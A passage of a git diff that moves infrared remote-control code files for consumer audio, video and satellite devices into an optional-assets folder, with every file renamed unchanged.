Control/Processor/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir rename to 